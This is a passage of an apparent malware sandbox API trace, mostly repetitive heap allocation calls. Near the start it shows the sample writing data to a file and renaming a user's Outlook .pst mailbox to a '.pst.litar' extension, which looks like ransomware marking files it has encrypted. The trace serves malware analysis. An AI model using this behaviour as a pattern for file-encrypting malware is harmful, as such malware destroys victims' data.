HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.825] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.867] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.867] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.867] CloseHandle (hObject=0x624) returned 1 [0125.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0125.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0125.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.litar")) returned 1 [0125.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.870] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.871] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0125.871] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.872] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.872] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 